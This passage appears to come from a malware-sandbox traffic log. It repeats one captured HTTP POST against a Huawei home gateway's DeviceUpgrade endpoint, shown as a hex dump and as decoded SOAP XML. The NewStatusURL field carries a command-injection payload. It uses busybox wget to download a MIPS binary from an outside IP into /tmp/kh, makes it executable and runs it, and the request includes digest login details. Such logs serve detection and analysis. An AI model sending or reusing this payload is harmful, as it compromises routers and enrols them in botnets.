2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 